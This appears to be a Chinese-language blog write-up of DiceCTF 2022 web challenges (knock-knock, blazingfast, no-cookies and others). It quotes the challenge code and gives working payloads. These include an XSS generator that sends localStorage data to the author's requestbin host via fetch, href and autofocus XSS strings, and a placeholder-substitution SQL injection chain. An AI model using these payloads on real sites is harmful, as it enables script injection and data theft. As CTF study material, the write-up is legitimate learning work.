DiceCTF2022究极坐牢
太难了,我直接坐牢
十个web复现都不知道要复现到什么时候
当然,赛时被300解的最简单web爆杀,第二天勉强看了下题等wp了
为什么我这么垃圾呢
说起来他们的web题目都挺短小精悍的,我看的几个题代码都不长,真是tql
(看完几个wp之后感觉都不是特别特别难。。。但是knock-knock这个题看了一个下午我就麻了。。呜呜,早知道快速切换看题了)
knock-knock
这个题被300+的人秒杀,但是我看了一个下午也完全没想出来哪里有问题,这个题已经在我脑内实现了完美逻辑防御
const crypto = require('crypto');
class Database {
constructor() {
this.notes = [];
this.secret = `secret-${crypto.randomUUID}`;
}
createNote({ data }) {
const id = this.notes.length;
this.notes.push(data);
return {
id,
token: this.generateToken(id),
};
}
getNote({ id, token }) {
if (token !== this.generateToken(id)) return { error: 'invalid token' };
if (id >= this.notes.length) return { error: 'note not found' };
return { data: this.notes[id] };
}
generateToken(id) {
return crypto
.createHmac('sha256', this.secret)
.update(id.toString())
.digest('hex');
}
}
const db = new Database();
db.createNote({ data: process.env.FLAG });
const express = require('express');
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));
app.post('/create', (req, res) => {
const data = req.body.data ?? 'no data provided.';
const { id, token } = db.createNote({ data: data.toString() });
res.redirect(`/note?id=${id}&token=${token}`);
});
app.get('/note', (req, res) => {
const { id, token } = req.query;
const note = db.getNote({
id: parseInt(id ?? '-1'),
token: (token ?? '').toString(),
});
if (note.error) {
res.send(note.error);
} else {
res.send(note.data);
}
});
app.listen(3000, () => {
console.log('listening on port 3000');
});
大意就是可以输入内容,然后会给一个id和对应签出来的token。只有当id和token对应的时候才能读取内容,id为0的内容对应flag
第一反应是尝试构造一个ID,使用已知的token通过检验,但在访问时因为特殊处理访问到0。但代码中先将id进行了parseInt操作再传入,且无后续操作。不存在先操作再parse之类的经典垃圾代码。虽然在签token的时候使用了toString,但对于parseInt必定返回一个int或NaN,这两个值在toString的时候也不会存在奇怪的表现。似乎无法攻击
第二个想法是能不能在签token的时候直接给他整爆掉就不用考虑什么secret了,但是传进去的id是个数字再toString,怎么整的爆呢。
然后考虑在createNote的时候直接生成一个id,因为const id = this.notes.length
,如果可以直接使用类似原型链污染的形式控制notes的length属性,就可以直接签发一个危险的id,但这里查看用户输入,根本没有类似类型的交互流程,虽然有一瞬间想起来之前RWCTF的requests.files的污染,但这里完全没有这种类型的威胁。且该题目为共用环境,若存在这种漏洞的话一个人打通剩下人就都通了,不太可能。
然后又想了半天能不能构造,发现先parseInt再传入简直无敌防御,不会了
说起来这个crypto.randomUUID
在我本地是个函数来着,但是这里却直接是以属性的形式访问的,但直接以属性值访问的时候就undefined了。一开始还以为这里就是这个题的垃圾代码所在地。但是直接把secret那里改成undefined自己签一个token上去,并打不通。可能是远端有着奇异的配置?
等wping
wp
。。。还真就是这个东西,但这里的randomUUID并不是undefined,而是函数源码,这和node的版本有关,题目给出了dockerfile,他的node版本会返回函数源码,可能是我的node比较老,返回的是undefined。所以还是一个定值,自己签一个token就行了。。。
啊啊啊啊啊啊啊啊啊啊啊,我好垃圾
blazingfast
这个又是一个没见过的全新技术,大概就是能把C代码编译成奇怪的插件给前端用。
let blazingfast = null;
function mock(str) {
blazingfast.init(str.length);
if (str.length >= 1000) return 'Too long!';
for (let c of str.toUpperCase()) {
if (c.charCodeAt(0) > 128) return 'Nice try.';
blazingfast.write(c.charCodeAt(0));
}
if (blazingfast.mock() == 1) {
return 'No XSS for you!';
} else {
let mocking = '', buf = blazingfast.read();
while(buf != 0) {
mocking += String.fromCharCode(buf);
buf = blazingfast.read();
}
return mocking;
}
}
function demo(str) {
document.getElementById('result').innerHTML = mock(str);
}
WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {
blazingfast = instance.exports;
document.getElementById('demo-submit').onclick = () => {
demo(document.getElementById('demo').value);
}
let query = new URLSearchParams(window.location.search).get('demo');
if (query) {
document.getElementById('demo').value = query;
demo(query);
}
})
int length, ptr = 0;
char buf[1000];
void init(int size) {
length = size;
ptr = 0;
}
char read() {
return buf[ptr++];
}
void write(char c) {
buf[ptr++] = c;
}
int mock() {
for (int i = 0; i < length; i ++) {
if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) { buf[i] +="32;" } if (buf[i]="=" '<' || '>' || buf[i] == '&' || buf[i] == '"') {
return 1;
}
}
ptr = 0;
return 0;
}
=>
这里究极过滤了两个尖括号,但是我的输入点又在标签之外,直接不会
这里先把所有内容toUpperCase,然后还检查了charCodeAt都不大于128,最后才进这个C逻辑。感觉过了上面这两步之后又是一个无敌防御了。。。呜呜
这个题的解数也还可观,不知道怎么打的
wp
这里还是有一个垃圾代码,当时可能是被web1打蒙了,已经失去意识了,没看出来
在js处的mock函数中,先使用了str.length来记录字符串的长度,再对string进行了toUpperCase,而对于某些玄幻的Unicode,toUpperCase会导致一个字符变成两个字符,从而延长了整个字符串的长度。(用toLocaleUpperCase也许会更加正确的处理Unicode?)而在写入时使用的是for (let c of str.toUpperCase()
,写入的数量与init处设定的length无关,且由于toUpperCase的扩展写入了更长的字符串。而在C的mock处只使用init时设定的length对xss内容进行检测。也就意味着写入的字符串由于toUpperCase扩展出的额外长度不会被检测,而在读取时也并未使用设定的length进行读取,导致了完美的逃逸
写了个破烂来找一些toUpperCase扩展的字符
for(let i=0; i<65536;i++){
let c = String.fromCharCode(i)
if(c.length < c.toUpperCase().length){
console.log(c, c.toUpperCase(), c.toUpperCase().length)
}
}
用这个类似贝塔ß
的符号可以一个字符toUpperCase成SS
,不过这里还是有一个小小的问题,即使过了xss的检测,传入的字符还是全都toUpperCase了,js的函数是区分大小写的,这样子就打不动了。但是标签和属性名称似乎不区分大小写,那么写一个全大写的img标签,再把onerror里面的字符串使用实体编码绕过大小写限制即可(这里是直接看wp得到的答案。。。)
然后写一个简单payload从localStorage中取出flag发出即可,这里有几个简单的小坑,实体编码的形式是&#xx;
&#都需要url编码。然后题目是https的环境,直接nc端口发http会因为mix content被禁止发出。所以我把我的远古requestbin又翻出来用了。不过应该也能通过直接改window.location之类的方法外带出来吧
rubbish code
a = "fetch(\"https://requestbin.z3ratu1.cn/?\"+localStorage.flag)"
b = ''.join("&#"+str(ord(c))+";" for c in a)
c = "<img src=\"1\" onerror=\"{}\">".format(b)
d = "ß"*len(c)+c.replace("&", "%26").replace("#", "%23")
print(d)
这里还有一个大师魔改了jsfuck来编写全大写payload(jsfuck的长度太长会超过一千字符的限制)
dctf22-blazingfast
复现成功呜呜dice{1_dont_know_how_to_write_wasm_pwn_s0rry}
no-cookies
这个有点麻,不用cookie的身份认证就是无论进行什么操作都要重新输一遍密码
并且我感觉还是很究极
XSS在后端过滤了尖括号,前端使用这个函数渲染页面
(() => {
const validate = (text) => {
return /^[^$']+$/.test(text ?? '');
}
const promptValid = (text) => {
let result = prompt(text) ?? '';
return validate(result) ? result : promptValid(text);
}
const username = promptValid('Username:');
const password = promptValid('Password:');
const params = new URLSearchParams(window.location.search);
(async () => {
const { note, mode, views } = await (await fetch('/view', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
username,
password,
id: params.get('id')
})
})).json();
if (!note) {
alert('Invalid username, password, or note id');
window.location = '/';
return;
}
let text = note;
if (mode === 'markdown') {
text = text.replace(/\[([^\]]+)\]\(([^\)]+)\)/g, (match, p1, p2) => {
return `<a href="${p2}">${p1}</a>`;
});
text = text.replace(/#\s*([^\n]+)/g, (match, p1) => {
return `<h1>${p1}</h1>`;
});
text = text.replace(/\*\*([^\n]+)\*\*/g, (match, p1) => {
return `<strong>${p1}</strong>`;
});
text = text.replace(/\*([^\n]+)\*/g, (match, p1) => {
return `<em>${p1}</em>`;
});
}
document.querySelector('.note').innerHTML = text;
document.querySelector('.views').innerText = views;
})();
})();
主要看最后那点的渲染,在mode是markdown的时候有几个选项
在过滤了尖括号的情况下感觉只有href能用,但href这里因为正则匹配时链接内容处匹配到右括号就结束了,又加了一层没有右括号的限制
简单搜索和调试之后找到了不用括号的href xss方法
{"username":"a","password":"b","note":"[aa](javascript:document.head.innerHTML+= `\u005cx3cimg src='1' onerror='alert\u005cx281\u005cx29'\u005cx3e`;)","mode":"markdown"}
这里json传数据,单个\
直接传过去会报错,所以整了个\u005c
,再用反引号当引号把数据括起来。不然会导致奇怪的引号范围解析(好像这里用HTML escape的那个&#xx;也行
这样子就能在点击a标签后进行xss了。但问题在于bot好像不会去点这个标签。。。那咋整呢。好像没有什么a标签自动触发的xss啊
翻到了一个a标签自动触发的payload<a href="1" onfocus="alert(1)" autofocus tabindex="1"></a>
再看一眼bot.js,flag是admin账号的密码。但这里因为没有cookie,所以是进行任何操作的时候都输一遍账户密码,而密码也只是在页面运行的时候塞进了那个匿名函数的局部变量中。而我们的payload插入成功后这个匿名函数都执行结束了,可爱的flag也随着匿名函数一起消亡了。我觉得唯一的可能就是去翻内存找?但是我感觉再次调用函数就会把原来的栈覆盖。怎么办呢
wp
还没蹲到官方wp,只看到discord里面的讨论,让我一个菜狗去看英语究极简化口语简直是折磨。。。
看到的一个链接是这个MDN的文档
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/input
再看了其他人的wp, 我总算是理解了,在前端代码中出现了令人困惑的内容
const validate = (text) => {
return /^[^$']+$/.test(text ?? '');
}
const promptValid = (text) => {
let result = prompt(text) ?? '';
return validate(result) ? result : promptValid(text);
}
const username = promptValid('Username:');
const password = promptValid('Password:');
这里对用户名和密码启用了非常奇怪的验证,而根据上述文档的描述,RegExp.input变量保留了最后一个匹配正则表达式的内容,在登录之后直接控制台输入RegExp.input就能直接获取到密码(因为先匹配用户名再匹配密码)。似乎配合a标签的xss就能打了,但在a标签的渲染这里还是有一个问题
if (mode === 'markdown') {
text = text.replace(/\[([^\]]+)\]\(([^\)]+)\)/g, (match, p1, p2) => {
return `<a href="${p2}">${p1}</a>`;
});
只要选用了markdown这个选项,就会创建一个新的正则表达式去匹配,从而覆盖掉我们的input中的password项
此时需要从后端代码中寻找突破口。我一开始就发现了后端代码里的一个怪东西
prepare: (query, params) => {
if (params)
for (const [key, value] of Object.entries(params)) {
const clean = value.replace(/['$]/g, '');
query = query.replaceAll(`:${key}`, `'${clean}'`);
}
return query;
},s
get: (query, params) => {
const prepared = db.prepare(query, params);
try {
return database.prepare(prepared).get();
} catch {}
},
你这prepare这么写的?虽然说去掉单引号确实有点无敌防御,但也不太完全吧。。。以及这种库肯定自己实现了prepare,然后你先过一遍自己的prepare,再过一遍第三方库的prepare,必有问题(但是实际做题的时候人已经麻了,失去思考能力)
db.run('INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)', {
id,
username,
note: note.replace(/[<>]/g, ''),
mode,
});
而note是这样子插入数据库的,这个防御保证了note的内容不能有尖括号,防御XSS,但这里有一个问题,prepare那里没有过滤冒号,而替换是一轮一轮转的,可控的点有username note和mode三项。如果令username为:note)--
,而note为'1', :mode, 1, 0
,最后在mode处输入XSS的payload,几轮替换下来就会发生如下情形
INSERT INTO notes VALUES (:id, :username, :note, :mode, 0)
INSERT INTO notes VALUES (:id, :note)--, :note, :mode, 0)
INSERT INTO notes VALUES (:id, '1', :mode, 1, 0)--, '1', :mode, 1, 0 :mode, 0)
INSERT INTO notes VALUES (:id, '1', payload, 1, 0)
即可绕过限制引入尖括号,在plaintext情况下实现XSS,并利用RegExp.input完成利用
看的这篇wp
Write up for DiceCTF 2022: nocookies
carrot
看起来很像xs leak的一个题
@app.route('/tasks')
def tasks():
if 'username' not in session:
return redirect('/')
tasks = db.get(session['username'])['tasks']
if 'search' in request.args:
search = request.args['search']
tasks = list(filter(lambda task: search in task['content'], tasks))
tasks = list(sorted(tasks, key=lambda task: -task['priority']))
return render_template('tasks.html', tasks=tasks)
但是完全找不到leak的点,search处看起来就像leak,但这里刚好一无所有,其他的没法leak的点却各种应答不同状态码。本来想着能不能想办法把环境弄炸返回不同状态码,比如SQL注入,但这里是先查询在for x in x匹配的,输入没有查库的环节,并且for in这个语句也不支持正则,redos什么的也没机会
太难了吧,我太垃圾了吧
没有wp。躺平躺平
大半个月过去了还是没有wp,躺了。不过这里看到了一个很强的师傅的博客,记录了可能的做法。说实话这个xs leak的要求有点高了
然后这篇wp提到还有一个misc题,难度也很大。知识点很新颖,顺便一起学习一下。对node的各种玄幻特性不甚了解
膜一下
我從 DiceCTF 2022 中學到的各種 JS 與前端冷知識
undefined
这个题就是把一堆属性全都赋值成了undefined之后再给一个eval,放在misc分类里导致我根本就没看到这个题
还是简单记录一下看到的wp和学到的东西,这个题的一个解法是直接使用import("")
而不是import ''
。。。这我真不知道还有区别,以及我一直都是用的前者。。。
然后是第二个解,比较高级,提到了node实际上将最外层的语句也打包成了一个函数(是不是变相解释了为什么不能在最外层用await?)
Why does a module level return statement work in Node.js?
然后可以通过argument.callee.caller等方式访问函数进行绕过
在解释node是如何打包函数的时候,看到了这么段代码。
NativeModule.wrap = function(script) {
return NativeModule.wrapper[0] + script + NativeModule.wrapper[1];
};
NativeModule.wrapper = [
'(function (exports, require, module, __filename, __dirname) { ',
'\n});'
];
可以通过arguments
访问到函数的参数列表,那么我直接写一个console.log(arguments)
,就能获取到这里的exports,require等一系列对象,非常成功
但是就从这个代码片段来看,这个函数的构造是简单的拼接,你要这么直接拼接我可就来劲了,马上写个垃圾trytry
console.log(111);
return;
}
{ console.log(222);
理论上也能完整的拼出来一个代码,实际上却被发现了,显然不会犯这么低级的错误。可以根据报错去GitHub翻源码简单看看
SyntaxError: Unexpected token '}'
at Object.compileFunction (node:vm:352:18)
at wrapSafe (node:internal/modules/cjs/loader:1032:15)
at Module._compile (node:internal/modules/cjs/loader:1067:27)
at Object.Module._extensions..js (node:internal/modules/cjs/loader:1155:10)
at Module.load (node:internal/modules/cjs/loader:981:32)
at Function.Module._load (node:internal/modules/cjs/loader:822:12)
at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:77:12)
at node:internal/main/run_main_module:17:47
lib/vm.js#compileFunction
然后就找不到是哪验证的了。。。。太垃圾了,猜是那个_compileFunction
,但是找不到这个函数定义在哪
最开头有引入的位置
const {
ContextifyScript,
MicrotaskQueue,
makeContext,
isContext: _isContext,
constants,
compileFunction: _compileFunction,
measureMemory: _measureMemory,
} = internalBinding('contextify');
这个函数名字感觉可能已经到究极底层C实现环节了吗?不知道怎么搞了,躺了
然后这个师傅还有一篇讲js函数的文章,有些东西是值得学习的
覺得 JavaScript function 很有趣的我是不是很奇怪
参考链接
部分官方wp(这里面好几个究极题的wp。。。)
dicectf_2022_writeups